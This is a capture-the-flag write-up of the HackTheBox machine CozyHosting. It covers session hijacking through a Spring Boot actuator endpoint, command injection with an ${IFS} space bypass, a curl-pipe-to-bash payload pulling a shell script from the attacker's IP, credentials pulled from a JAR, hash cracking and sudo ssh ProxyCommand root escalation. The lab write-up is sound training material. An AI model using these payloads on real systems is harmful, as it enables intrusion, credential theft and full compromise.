Error pages usually get ignored. On CozyHosting, the /error page is what gives the whole game away.

Machine info

NameCozyHosting
PlatformHackTheBox
OSLinux
DifficultyEasy

TL;DR

  • A Spring Boot Whitelabel Error page reveals the framework; a targeted wordlist uncovers /actuator/sessions leaking a valid session token
  • Cookie swap into /admin exposes an SSH connection form; the username field is injectable but blocks spaces - bypassed with ${IFS}
  • Shell lands as app, a .jar in /app contains application.properties with PostgreSQL credentials
  • Crack the bcrypt admin hash with John, su josh, find sudo /usr/bin/ssh *, and GTFOBins the ProxyCommand to root

Recon

Nmap

1
nmap -sV -sC -Pn -A cozyhosting.htb

Nmap results

Ports 22 (SSH) and 80 (HTTP). The nmap output calls out OpenSSH 8.9p1 and nginx 1.18.0 - Ubuntu box.


Enumeration

Directory brute force

1
gobuster dir -u http://cozyhosting.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

Gobuster initial

Found login, index, admin (redirects), and error. The main page looks like a standard hosting product site.

Website

The error page clue

Navigating to /error shows something that looks useless at first glance - a “Whitelabel Error Page.”

Whitelabel error

This is not a custom error page. Whitelabel is the default, unstyled error response from Spring Boot when no explicit mapping exists.

Whitelabel Google

Knowing we are dealing with Spring Boot opens a whole new angle: Spring Actuator endpoints. I grabbed a Spring Boot-specific wordlist and re-enumerated.

1
gobuster dir -u http://cozyhosting.htb -w spring-boot.txt

Gobuster Spring Boot

Several actuator endpoints show up. The interesting one is /actuator/sessions.

Session leak via /actuator/sessions

Actuator sessions

The endpoint dumps active session IDs mapped to usernames. There are entries for kanderson. I grabbed one of the valid (non-UNAUTHORIZED) tokens, swapped it into my cookie, and navigated to /admin.

Admin dashboard

In as K. Anderson. The dashboard has an “Include host into automatic patching” form with Hostname and Username fields.


Foothold

Command injection via SSH form

The form submits an SSH connection. That Username field is almost certainly passed to an ssh command on the backend - classic injection candidate.

SSH form

I tried a basic RCE test - the app rejected it:

RCE whitespace fail

“Username can’t contain whitespaces!” - the filter strips spaces. But it doesn’t know about ${IFS}.

Why ${IFS} works: In bash, $IFS (Internal Field Separator) is a special variable whose default value is a space/tab/newline. When you write ${IFS} in a payload, the web app sees a variable expansion - not a literal space - so it passes the filter. Once the server evaluates the string in a shell context, bash expands ${IFS} into a real space and the command runs normally.

First I confirmed RCE with a ping:

1
admin;ping${IFS}10.10.14.208;

Tcpdump ping

ICMP packets hit my listener - code execution confirmed. I created a simple reverse shell script:

Reverse shell script

Served it with python3 -m http.server 80 and used this payload in the Username field:

RCE IFS payload

1
admin;curl${IFS}http://10.10.14.208/s.sh|bash;

Shell as app

Shell as app@cozyhosting.

Extracting credentials from the JAR

The /app directory holds one file:

JAR listing

cloudhosting-0.0.1.jar. A JAR is just a ZIP - I uploaded it to Kali and unzipped it:

JAR upload

JAR unzip

JAR contents

Inside BOOT-INF/classes/application.properties:

Application properties

PostgreSQL credentials: postgres / Vg6nvzAQ7XxR.

PostgreSQL - user hashes

1
psql -h 127.0.0.1 -U postgres -d cozyhosting -W

PostgreSQL users

The users table has two bcrypt hashes. The admin hash is the target.


Privilege Escalation

Hash cracking

Saved the admin hash and cracked it with John + rockyou:

Hash file

John cracked

Password: manchesterunited.

Lateral move to josh

Upgraded the shell with python3 -c 'import pty; pty.spawn("/bin/bash")', then:

su josh

GTFOBins - SSH ProxyCommand

1
sudo -l

sudo -l

Josh can run /usr/bin/ssh * as root. GTFOBins has the move:

1
sudo ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Root shell

ProxyCommand tells ssh to run an arbitrary command before connecting. Since we invoke ssh as root via sudo, the shell spawned by ProxyCommand inherits root. The 0<&2 1>&2 redirect ties stdin to stderr and stdout to stderr, giving a usable interactive terminal.

Root.


Takeaways

  • Error pages are informational, not cosmetic. Whitelabel means Spring Boot, which means actuator endpoints, which means potentially exposed sessions, env vars, or health data - always investigate framework-specific paths.
  • ${IFS} is a reliable whitespace bypass. Any blacklist that strips spaces but allows dollar signs and braces is vulnerable. Keep it in your injection toolkit.
  • JARs are ZIPs. When you land on a Java app, unzip the JAR and check application.properties for hardcoded credentials.
  • sudo /usr/bin/ssh * means root. The ProxyCommand GTFOBins technique is clean and requires no exploit code.

References